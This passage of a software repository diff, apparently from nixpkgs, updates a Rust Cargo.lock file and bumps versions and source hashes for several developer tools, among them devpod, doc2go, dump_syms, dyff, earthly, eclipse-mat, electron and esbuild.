source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5190c9442dcdaf0ddd50f37420417d219ae5261bbf5db120d0f9bab996c9cba1" +checksum = "86bd8d4e895da8537e5315b8254664e6b769c4ff3db18321b297a1e7004392e3" [[package]] name = "utf8parse" @@ -3802,17 +4712,11 @@ checksum = "711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a" [[package]] name = "uuid" -version = "0.8.2" +version = "1.6.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bc5cf98d8186244414c848017f0e2676b3fcb46807f6668a97dfe67359a3c4b7" - -[[package]] -name = "uuid" -version = "1.3.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5b55a3fef2a1e3b3a00ce878640918820d3c51081576ac657d23af9fc7928fdb" +checksum = "5e395fcf16a7a3d8127ec99782007af141946b4795001f876d54fb0d55978560" dependencies = [ - "getrandom 0.2.9", + "getrandom 0.2.11", ] [[package]] @@ -3823,13 +4727,9 @@ checksum = "830b7e5d4d90034032940e4ace0d9a9a057e7a45cd94e6c007832e39edb82f6d" [[package]] name = "value-bag" -version = "1.0.0-alpha.9" +version = "1.4.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2209b78d1249f7e6f3293657c9779fe31ced465df091bbd433a1cf88e916ec55" -dependencies = [ - "ctor", - "version_check", -] +checksum = "4a72e1902dde2bd6441347de2b70b7f5d59bf157c6c62f0c44572607a1d55bbe" [[package]] name = "vcpkg" @@ -3856,6 +4756,26 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f" [[package]] +name = "vswhom" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "be979b7f07507105799e854203b470ff7c78a1639e330a58f183b5fea574608b" +dependencies = [ + "libc", + "vswhom-sys", +] + +[[package]] +name = "vswhom-sys" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3b17ae1f6c8a2b28506cd96d412eebf83b4a0ff2cbefeeb952f2f9dfa44ba18" +dependencies = [ + "cc", + "libc", +] + +[[package]] name = "vte" version = "0.10.1" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -3877,10 +4797,16 @@ dependencies = [ ] [[package]] +name = "waker-fn" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f3c4517f54858c779bbcbf228f4fca63d121bf85fbecb2dc578cdf4a39395690" + +[[package]] name = "walkdir" -version = "2.3.3" +version = "2.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "36df944cda56c7d8d8b7496af378e6b16de9284591917d307c9b4d313c44e698" +checksum = "d71d857dc86794ca4c280d616f7da00d2dbfd8cd788846559a6813e6aa4b54ee" dependencies = [ "same-file", "winapi-util", @@ -3903,21 +4829,15 @@ checksum = "cccddf32554fecc6acb585f82a32a72e28b48f8c4c1883ddfeeeaa96f7d8e519" [[package]] name = "wasi" -version = "0.10.0+wasi-snapshot-preview1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1a143597ca7c7793eff794def352d41792a93c481eb1042423ff7ff72ba2c31f" - -[[package]] -name = "wasi" version = "0.11.0+wasi-snapshot-preview1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" [[package]] name = "wasm-bindgen" -version = "0.2.84" +version = "0.2.89" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "31f8dcbc21f30d9b8f2ea926ecb58f6b91192c17e9d33594b3df58b2007ca53b" +checksum = "0ed0d4f68a3015cc185aff4db9506a015f4b96f95303897bfa23f846db54064e" dependencies = [ "cfg-if", "wasm-bindgen-macro", @@ -3925,24 +4845,24 @@ dependencies = [ [[package]] name = "wasm-bindgen-backend" -version = "0.2.84" +version = "0.2.89" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "95ce90fd5bcc06af55a641a86428ee4229e44e07033963a2290a8e241607ccb9" +checksum = "1b56f625e64f3a1084ded111c4d5f477df9f8c92df113852fa5a374dbda78826" dependencies = [ "bumpalo", "log", "once_cell", "proc-macro2", "quote", - "syn 1.0.109", + "syn 2.0.39", "wasm-bindgen-shared", ] [[package]] name = "wasm-bindgen-futures" -version = "0.4.34" +version = "0.4.39" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f219e0d211ba40266969f6dbdd90636da12f75bee4fc9d6c23d1260dadb51454" +checksum = "ac36a15a220124ac510204aec1c3e5db8a22ab06fd6706d881dc6149f8ed9a12" dependencies = [ "cfg-if", "js-sys", @@ -3952,9 +4872,9 @@ dependencies = [ [[package]] name = "wasm-bindgen-macro" -version = "0.2.84" +version = "0.2.89" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4c21f77c0bedc37fd5dc21f897894a5ca01e7bb159884559461862ae90c0b4c5" +checksum = "0162dbf37223cd2afce98f3d0785506dcb8d266223983e4b5b525859e6e182b2" dependencies = [ "quote", "wasm-bindgen-macro-support", @@ -3962,28 +4882,41 @@ dependencies = [ [[package]] name = "wasm-bindgen-macro-support" -version = "0.2.84" +version = "0.2.89" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2aff81306fcac3c7515ad4e177f521b5c9a15f2b08f4e32d823066102f35a5f6" +checksum = "f0eb82fcb7930ae6219a7ecfd55b217f5f0893484b7a13022ebb2b2bf20b5283" dependencies = [ "proc-macro2", "quote", - "syn 1.0.109", + "syn 2.0.39", "wasm-bindgen-backend", "wasm-bindgen-shared", ] [[package]] name = "wasm-bindgen-shared" -version = "0.2.84" +version = "0.2.89" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0046fef7e28c3804e5e38bfa31ea2a0f73905319b677e57ebe37e49358989b5d" +checksum = "7ab9b36309365056cd639da3134bf87fa8f3d86008abf99e612384a6eecd459f" + +[[package]] +name = "wasm-streams" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b4609d447824375f43e1ffbc051b50ad8f4b3ae8219680c94452ea05eb240ac7" +dependencies = [ + "futures-util", + "js-sys", + "wasm-bindgen", + "wasm-bindgen-futures", + "web-sys", +] [[package]] name = "web-sys" -version = "0.3.61" +version = "0.3.66" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e33b99f4b23ba3eec1a53ac264e35a755f00e966e0065077d6027c0f575b0b97" +checksum = "50c24a44ec86bb68fbecd1b3efed7e85ea5621b39b35ef2766b66cd984f8010f" dependencies = [ "js-sys", "wasm-bindgen", @@ -3995,7 +4928,7 @@ version = "0.18.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b8f859735e4a452aeb28c6c56a852967a8a76c8eb1cc32dbf931ad28a13d6370" dependencies = [ - "bitflags", + "bitflags 1.3.2", "cairo-rs", "gdk", "gdk-sys", @@ -4020,7 +4953,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4d76ca6ecc47aeba01ec61e480139dda143796abcae6f83bcddf50d6b5b1dcf3" dependencies = [ "atk-sys", - "bitflags", + "bitflags 1.3.2", "cairo-sys-rs", "gdk-pixbuf-sys", "gdk-sys", @@ -4033,7 +4966,7 @@ dependencies = [ "pango-sys", "pkg-config", "soup2-sys", - "system-deps 6.0.4", + "system-deps 6.2.0", ] [[package]] @@ -4092,9 +5025,9 @@ checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" [[package]] name = "winapi-util" -version = "0.1.5" +version = "0.1.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "70ec6ce85bb158151cae5e5c87f95a8e97d2c0c4b001223f33a334e3ce5de178" +checksum = "f29e6f9198ba0d26b4c9f07dbe6f9ed633e1f3d5b8b414090084349e46a52596" dependencies = [ "winapi", ] @@ -4146,20 +5079,21 @@ dependencies = [ [[package]] name = "windows" -version = "0.44.0" +version = "0.48.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9e745dab35a0c4c77aa3ce42d595e13d2003d6902d6b08c9ef5fc326d08da12b" +checksum = "e686886bc078bc1b0b600cac0147aadb815089b6e4da64016cbd754b6342700f" dependencies = [ - "windows-targets 0.42.2", + "windows-targets 0.48.5", ] [[package]] name = "windows" -version = "0.48.0" +version = "0.51.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e686886bc078bc1b0b600cac0147aadb815089b6e4da64016cbd754b6342700f" +checksum = "ca229916c5ee38c2f2bc1e9d8f04df975b4bd93f9955dc69fabb5d91270045c9" dependencies = [ - "windows-targets 0.48.0", + "windows-core", + "windows-targets 0.48.5", ] [[package]] @@ -4173,6 +5107,15 @@ dependencies = [ ] [[package]] +name = "windows-core" +version = "0.51.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f1f8cf84f35d2db49a46868f947758c7a1138116f7fac3bc844f43ade1292e64" +dependencies = [ + "windows-targets 0.48.5", +] + +[[package]] name = "windows-implement" version = "0.39.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -4218,7 +5161,16 @@ version = "0.48.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" dependencies = [ - "windows-targets 0.48.0", + "windows-targets 0.48.5", +] + +[[package]] +name = "windows-sys" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" +dependencies = [ + "windows-targets 0.52.0", ] [[package]] @@ -4238,17 +5190,32 @@ dependencies = [ [[package]] name = "windows-targets" -version = "0.48.0" +version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7b1eb6f0cd7c80c79759c929114ef071b87354ce476d9d94271031c0497adfd5" +checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c" dependencies = [ - "windows_aarch64_gnullvm 0.48.0", - "windows_aarch64_msvc 0.48.0", - "windows_i686_gnu 0.48.0", - "windows_i686_msvc 0.48.0", - "windows_x86_64_gnu 0.48.0", - "windows_x86_64_gnullvm 0.48.0", - "windows_x86_64_msvc 0.48.0", + "windows_aarch64_gnullvm 0.48.5", + "windows_aarch64_msvc 0.48.5", + "windows_i686_gnu 0.48.5", + "windows_i686_msvc 0.48.5", + "windows_x86_64_gnu 0.48.5", + "windows_x86_64_gnullvm 0.48.5", + "windows_x86_64_msvc 0.48.5", +] + +[[package]] +name = "windows-targets" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a18201040b24831fbb9e4eb208f8892e1f50a37feb53cc7ff887feb8f50e7cd" +dependencies = [ + "windows_aarch64_gnullvm 0.52.0", + "windows_aarch64_msvc 0.52.0", + "windows_i686_gnu 0.52.0", + "windows_i686_msvc 0.52.0", + "windows_x86_64_gnu 0.52.0", + "windows_x86_64_gnullvm 0.52.0", + "windows_x86_64_msvc 0.52.0", ] [[package]] @@ -4258,6 +5225,15 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f838de2fe15fe6bac988e74b798f26499a8b21a9d97edec321e79b28d1d7f597" [[package]] +name = "windows-version" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "75aa004c988e080ad34aff5739c39d0312f4684699d6d71fc8a198d057b8b9b4" +dependencies = [ + "windows-targets 0.52.0", +] + +[[package]] name = "windows_aarch64_gnullvm" version = "0.42.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -4265,9 +5241,15 @@ checksum = "597a5118570b68bc08d8d59125332c54f1ba9d9adeedeef5b99b02ba2b0698f8" [[package]] name = "windows_aarch64_gnullvm" -version = "0.48.0" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "91ae572e1b79dba883e0d315474df7305d12f569b400fcf90581b06062f7e1bc" +checksum = "cb7764e35d4db8a7921e09562a0304bf2f93e0a51bfccee0bd0bb0b666b015ea" [[package]] name = "windows_aarch64_msvc" @@ -4289,9 +5271,15 @@ checksum = "e08e8864a60f06ef0d0ff4ba04124db8b0fb3be5776a5cd47641e942e58c4d43" [[package]] name = "windows_aarch64_msvc" -version = "0.48.0" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b2ef27e0d7bdfcfc7b868b317c1d32c641a6fe4629c171b8928c7b08d98d7cf3" +checksum = "bbaa0368d4f1d2aaefc55b6fcfee13f41544ddf36801e793edbbfd7d7df075ef" [[package]] name = "windows_i686_gnu" @@ -4313,9 +5301,15 @@ checksum = "c61d927d8da41da96a81f029489353e68739737d3beca43145c8afec9a31a84f" [[package]] name = "windows_i686_gnu" -version = "0.48.0" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "622a1962a7db830d6fd0a69683c80a18fda201879f0f447f065a3b7467daa241" +checksum = "a28637cb1fa3560a16915793afb20081aba2c92ee8af57b4d5f28e4b3e7df313" [[package]] name = "windows_i686_msvc" @@ -4337,9 +5331,15 @@ checksum = "44d840b6ec649f480a41c8d80f9c65108b92d89345dd94027bfe06ac444d1060" [[package]] name = "windows_i686_msvc" -version = "0.48.0" +version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4542c6e364ce21bf45d69fdd2a8e455fa38d316158cfd43b3ac1c5b1b19f8e00" +checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ffe5e8e31046ce6230cc7215707b816e339ff4d4d67c65dffa206fd0f7aa7b9a" [[package]] name = "windows_x86_64_gnu" @@ -4361,9 +5361,15 @@ checksum = "8de912b8b8feb55c064867cf047dda097f92d51efad5b491dfb98f6bbb70cb36" [[package]] name = "windows_x86_64_gnu" -version = "0.48.0" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ca2b8a661f7628cbd23440e50b05d705db3686f894fc9580820623656af974b1" +checksum = "3d6fa32db2bc4a2f5abeacf2b69f7992cd09dca97498da74a151a3132c26befd" [[package]] name = "windows_x86_64_gnullvm" @@ -4373,9 +5379,15 @@ checksum = "26d41b46a36d453748aedef1486d5c7a85db22e56aff34643984ea85514e94a3" [[package]] name = "windows_x86_64_gnullvm" -version = "0.48.0" +version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7896dbc1f41e08872e9d5e8f8baa8fdd2677f29468c4e156210174edc7f7b953" +checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a657e1e9d3f514745a572a6846d3c7aa7dbe1658c056ed9c3344c4109a6949e" [[package]] name = "windows_x86_64_msvc" @@ -4397,26 +5409,23 @@ checksum = "9aec5da331524158c6d1a4ac0ab1541149c0b9505fde06423b02f5ef0106b9f0" [[package]] name = "windows_x86_64_msvc" -version = "0.48.0" +version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1a515f5799fe4961cb532f983ce2b23082366b898e52ffbce459c86f67c8378a" +checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" [[package]] -name = "winnow" -version = "0.4.1" +name = "windows_x86_64_msvc" +version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ae8970b36c66498d8ff1d66685dc86b91b29db0c7739899012f63a63814b4b28" -dependencies = [ - "memchr", -] +checksum = "dff9641d1cd4be8d1a070daf9e3773c5f67e78b4d9d42263020c057706765c04" [[package]] -name = "winreg" -version = "0.10.1" +name = "winnow" +version = "0.5.19" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "80d0f4e272c85def139476380b12f9ac60926689dd2e01d4923222f40580869d" +checksum = "829846f3e3db426d4cee4510841b71a8e58aa2a76b1132579487ae430ccd9c7b" dependencies = [ - "winapi", + "memchr", ] [[package]] @@ -4430,19 +5439,20 @@ dependencies = [ ] [[package]] -name = "winres" -version = "0.1.12" +name = "winreg" +version = "0.51.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b68db261ef59e9e52806f688020631e987592bd83619edccda9c47d42cde4f6c" +checksum = "937f3df7948156640f46aacef17a70db0de5917bda9c92b0f751f3a955b588fc" dependencies = [ - "toml 0.5.11", + "cfg-if", + "windows-sys 0.48.0", ] [[package]] name = "wry" -version = "0.23.4" +version = "0.24.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4c1ad8e2424f554cc5bdebe8aa374ef5b433feff817aebabca0389961fc7ef98" +checksum = "64a70547e8f9d85da0f5af609143f7bde3ac7457a6e1073104d9b73d6c5ac744" dependencies = [ "base64 0.13.1", "block", @@ -4454,8 +5464,8 @@ dependencies = [ "gio", "glib", "gtk", - "html5ever", - "http", + "html5ever 0.25.2", + "http 0.2.11", "kuchiki", "libc", "log", @@ -4499,14 +5509,90 @@ dependencies = [ [[package]] name = "xattr" -version = "0.2.3" +version = "1.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6d1526bbe5aaeb5eb06885f4d987bcdfa5e23187055de9b83fe00156a821fabc" +checksum = "f4686009f71ff3e5c4dbcf1a282d0a44db3f021ba69350cd42086b3e5f1c6985" dependencies = [ "libc", ] [[package]] +name = "xdg-home" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2769203cd13a0c6015d515be729c526d041e9cf2c0cc478d57faee85f40c6dcd" +dependencies = [ + "nix", + "winapi", +] + +[[package]] +name = "zbus" +version = "3.14.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "31de390a2d872e4cd04edd71b425e29853f786dc99317ed72d73d6fcf5ebb948" +dependencies = [ + "async-broadcast", + "async-executor", + "async-fs", + "async-io 1.13.0", + "async-lock 2.8.0", + "async-process", + "async-recursion", + "async-task", + "async-trait", + "blocking", + "byteorder", + "derivative", + "enumflags2", + "event-listener 2.5.3", + "futures-core", + "futures-sink", + "futures-util", + "hex", + "nix", + "once_cell", + "ordered-stream", + "rand 0.8.5", + "serde", + "serde_repr", + "sha1", + "static_assertions", + "tracing", + "uds_windows", + "winapi", + "xdg-home", + "zbus_macros", + "zbus_names", + "zvariant", +] + +[[package]] +name = "zbus_macros" +version = "3.14.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41d1794a946878c0e807f55a397187c11fc7a038ba5d868e7db4f3bd7760bc9d" +dependencies = [ + "proc-macro-crate", + "proc-macro2", + "quote", + "regex", + "syn 1.0.109", + "zvariant_utils", +] + +[[package]] +name = "zbus_names" +version = "2.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fb80bb776dbda6e23d705cf0123c3b95df99c4ebeaec6c2599d4a5419902b4a9" +dependencies = [ + "serde", + "static_assertions", + "zvariant", +] + +[[package]] name = "zip" version = "0.6.6" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -4516,3 +5602,41 @@ dependencies = [ "crc32fast", "crossbeam-utils", ] + +[[package]] +name = "zvariant" +version = "3.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "44b291bee0d960c53170780af148dca5fa260a63cdd24f1962fa82e03e53338c" +dependencies = [ + "byteorder", + "enumflags2", + "libc", + "serde", + "static_assertions", + "zvariant_derive", +] + +[[package]] +name = "zvariant_derive" +version = "3.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "934d7a7dfc310d6ee06c87ffe88ef4eca7d3e37bb251dece2ef93da8f17d8ecd" +dependencies = [ + "proc-macro-crate", + "proc-macro2", + "quote", + "syn 1.0.109", + "zvariant_utils", +] + +[[package]] +name = "zvariant_utils" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7234f0d811589db492d16893e3f21e8e2fd282e6d01b0cddee310322062cc200" +dependencies = [ + "proc-macro2", + "quote", + "syn 1.0.109", +] diff --git a/pkgs/development/tools/devpod/default.nix b/pkgs/development/tools/devpod/default.nix index e4991f04e8eac..e4fbfcc9bd5e7 100644 --- a/pkgs/development/tools/devpod/default.nix +++ b/pkgs/development/tools/devpod/default.nix @@ -23,13 +23,13 @@ let pname = "devpod"; - version = "0.4.2"; + version = "0.5.4"; src = fetchFromGitHub { owner = "loft-sh"; repo = pname; rev = "v${version}"; - sha256 = "sha256-e9sa9LniG5fj3S+x9T91v6ILPI0CD2y3QnZxXcKy6Ik="; + sha256 = "sha256-BXr+2uia5skNRpdo8T+0uOVdh6WmWeC42PGNSURJhas="; }; meta = with lib; { @@ -79,7 +79,7 @@ rec { offlineCache = fetchYarnDeps { yarnLock = "${src}/desktop/yarn.lock"; - sha256 = "sha256-Nezh2nGhrxmNLLqZVugJqr895CIa2QWE3CNLjkjrEEs="; + sha256 = "sha256-I+c0zrybNv3iS+Wy+n+NlBalA6gLYuxBw00mAJbqgfU="; }; packageJSON = ./package.json; @@ -106,7 +106,7 @@ rec { cargoLock = { lockFile = ./Cargo.lock; outputHashes = { - "tauri-plugin-log-0.1.0" = "sha256-Ei0j7UNzsK45c8fEV8Yw3pyf4oSG5EYgLB4BRfafq6A="; + "tauri-plugin-log-0.0.0" = "sha256-M6uGcf4UWAU+494wAK/r2ta1c3IZ07iaURLwJJR9F3U="; }; }; diff --git a/pkgs/development/tools/devpod/package.json b/pkgs/development/tools/devpod/package.json index 3a5848669d662..9cabd21c905f0 100644 --- a/pkgs/development/tools/devpod/package.json +++ b/pkgs/development/tools/devpod/package.json @@ -26,16 +26,16 @@ "@tanstack/react-query": "4.36.1", "@tanstack/react-query-devtools": "4.36.1", "@tanstack/react-table": "8.10.7", - "@tauri-apps/api": "1.5.0", + "@tauri-apps/api": "1.5.1", "dayjs": "1.11.10", - "framer-motion": "10.16.4", + "framer-motion": "10.16.9", "markdown-to-jsx": "7.3.2", "react": "18.2.0", "react-dom": "18.2.0", - "react-hook-form": "7.47.0", - "react-icons": "4.11.0", - "react-router": "6.16.0", - "react-router-dom": "6.16.0", + "react-hook-form": "7.48.2", + "react-icons": "4.12.0", + "react-router": "6.20.0", + "react-router-dom": "6.20.0", "tauri-plugin-store-api": "https://github.com/tauri-apps/tauri-plugin-store", "uuid": "9.0.1", "xterm": "5.3.0", diff --git a/pkgs/development/tools/doc2go/default.nix b/pkgs/development/tools/doc2go/default.nix index 92a2e09ee4469..fc2e2e8151c08 100644 --- a/pkgs/development/tools/doc2go/default.nix +++ b/pkgs/development/tools/doc2go/default.nix @@ -5,19 +5,21 @@ buildGoModule rec { pname = "doc2go"; - version = "0.5.0"; + version = "0.8.1"; src = fetchFromGitHub { owner = "abhinav"; repo = "doc2go"; rev = "v${version}"; - hash = "sha256-CFqr1laPxKNhaluGmwW7apxLQqkAFKVznDKezH8gjx0="; + hash = "sha256-b4L20/9jm+bFGdNsHmcwSnzcmr3Il9XoV20284Ba8PU="; }; - vendorHash = "sha256-2WvlH69iYqIA3d9aFVec8TZL+pMJItoNKSoDBL/NNyg="; + vendorHash = "sha256-d5ZRMFi7GIfDHsYRNvMnDdfnGhTM1sA0WDYD2aDoEd0="; ldflags = [ "-s" "-w" "-X main._version=${version}" ]; subPackages = [ "." ]; + # integration is it's own module + excludedPackages = [ "integration" ]; checkFlags = [ # needs to fetch additional go modules diff --git a/pkgs/development/tools/dump_syms/default.nix b/pkgs/development/tools/dump_syms/default.nix index a5dab42219f81..858e16583177a 100644 --- a/pkgs/development/tools/dump_syms/default.nix +++ b/pkgs/development/tools/dump_syms/default.nix @@ -16,7 +16,7 @@ let pname = "dump_syms"; - version = "2.2.2"; + version = "2.3.0"; in rustPlatform.buildRustPackage { inherit pname version; @@ -25,10 +25,10 @@ rustPlatform.buildRustPackage { owner = "mozilla"; repo = pname; rev = "v${version}"; - hash = "sha256-8kyicTtY7h1CDM4UGOHsppRRTraU6JLe24MKtoduiz0="; + hash = "sha256-F+yXFT6PsHpluxyF+aUiuLTLqlsjfQ5tk/JjcHgJkQ8="; }; - cargoSha256 = "sha256-5WiGckh/jq7AHH3JWZL8tIsj1Gqr8iLX7IyppKsW96k="; + cargoSha256 = "sha256-I5CfrLWVTUwOtZrje3eATFen5u9MEH79Rk30ZNhaG98="; # Workaround for https://github.com/nixos/nixpkgs/issues/166205 env = lib.optionalAttrs stdenv.cc.isClang { diff --git a/pkgs/development/tools/dyff/default.nix b/pkgs/development/tools/dyff/default.nix index a549563aabbe2..0e16e37e274d7 100644 --- a/pkgs/development/tools/dyff/default.nix +++ b/pkgs/development/tools/dyff/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "dyff"; - version = "1.6.0"; + version = "1.7.1"; src = fetchFromGitHub { owner = "homeport"; repo = "dyff"; rev = "v${version}"; - sha256 = "sha256-MyQVTAfKHog6BiqqT8eaIPlUMctHz+Oe4eZqfpgiHNs="; + sha256 = "sha256-4jW8KJqdhrx79Q5ioyMGOlmLosTEkEIrdBwMjfiIcsY="; }; - vendorHash = "sha256-VAPJqa1930Vmjjj9rSjVTk6e4HD3JbOk6VC8v37kijQ="; + vendorHash = "sha256-JhjngBZK3vWlKzCCkTWJf/VrBXUW6T4FcUivn5CMBjE="; subPackages = [ "cmd/dyff" diff --git a/pkgs/development/tools/earthly/default.nix b/pkgs/development/tools/earthly/default.nix index 6bc18da18258d..ce44264021da0 100644 --- a/pkgs/development/tools/earthly/default.nix +++ b/pkgs/development/tools/earthly/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "earthly"; - version = "0.8.3"; + version = "0.8.4"; src = fetchFromGitHub { owner = "earthly"; repo = "earthly"; rev = "v${version}"; - hash = "sha256-xjehcMm7lW0t65j0hQxbqmMWt1uuK8I4/MB7mjr+axw="; + hash = "sha256-8grH07Vt6mrsKJ8FsG1yZcfLv5R8UIEBu19f1kal7Us="; }; - vendorHash = "sha256-NNOUo2X2rwvKRP/zgmTexyXFDNT/LO/kE4HiKwFWQUw="; + vendorHash = "sha256-zYueMiU3eL2vb2fn1dMkbfge+jZzM3Ry/AeLJerlMFg="; subPackages = [ "cmd/earthly" "cmd/debugger" ]; CGO_ENABLED = 0; diff --git a/pkgs/development/tools/eclipse-mat/default.nix b/pkgs/development/tools/eclipse-mat/default.nix index b76364c595521..309a3e02bd6f7 100644 --- a/pkgs/development/tools/eclipse-mat/default.nix +++ b/pkgs/development/tools/eclipse-mat/default.nix @@ -19,7 +19,7 @@ }: let - pVersion = "1.14.0.20230315"; + pVersion = "1.15.0.20231206"; pVersionTriple = lib.splitVersion pVersion; majorVersion = lib.elemAt pVersionTriple 0; minorVersion = lib.elemAt pVersionTriple 1; @@ -33,7 +33,7 @@ stdenv.mkDerivation rec { src = fetchurl { url = "http://ftp.halifax.rwth-aachen.de/eclipse//mat/${baseVersion}/rcp/MemoryAnalyzer-${version}-linux.gtk.x86_64.zip"; - sha256 = "sha256-9YFJILMRhIln4vo99noRxYARh1M/mjwg7t8RdAJCoW4="; + sha256 = "sha256-icmo5zdK0XaH32kXwZUVaQ0VPSGEgvlLr7v7PtdbmCg="; }; desktopItem = makeDesktopItem { diff --git a/pkgs/development/tools/electron/binary/generic.nix b/pkgs/development/tools/electron/binary/generic.nix index 8f726b4100004..daa0c81d2e05a 100644 --- a/pkgs/development/tools/electron/binary/generic.nix +++ b/pkgs/development/tools/electron/binary/generic.nix @@ -12,7 +12,7 @@ , mesa , libxkbcommon , libxshmfence -, libglvnd +, libGL , alsa-lib , cairo , cups @@ -102,7 +102,7 @@ let ++ lib.optionals (lib.versionOlder version "10.0.0") [ libXScrnSaver ] ++ lib.optionals (lib.versionAtLeast version "11.0.0") [ libxkbcommon ] ++ lib.optionals (lib.versionAtLeast version "12.0.0") [ libxshmfence ] - ++ lib.optionals (lib.versionAtLeast version "17.0.0") [ libglvnd ] + ++ lib.optionals (lib.versionAtLeast version "17.0.0") [ libGL ] ); linux = { @@ -130,6 +130,11 @@ let --set-rpath "${electronLibPath}:$out/libexec/electron" \ $out/libexec/electron/.electron-wrapped \ ${lib.optionalString (lib.versionAtLeast version "15.0.0") "$out/libexec/electron/.chrome_crashpad_handler-wrapped" } + + # patch libANGLE + patchelf \ + --set-rpath "${lib.makeLibraryPath [ libGL pciutils ]}" \ + $out/libexec/electron/lib*GL* ''; }; diff --git a/pkgs/development/tools/esbuild/default.nix b/pkgs/development/tools/esbuild/default.nix index 75f103dec6cb7..246acd48bdf05 100644 --- a/pkgs/development/tools/esbuild/default.nix +++ b/pkgs/development/tools/esbuild/default.nix @@ -2,13 +2,13 @@ buildGoModule rec { pname = "esbuild"; - version = "0.20.0"; + version = "0.20.1"; src = fetchFromGitHub { owner = "evanw"; repo = "esbuild"; rev = "v${version}"; 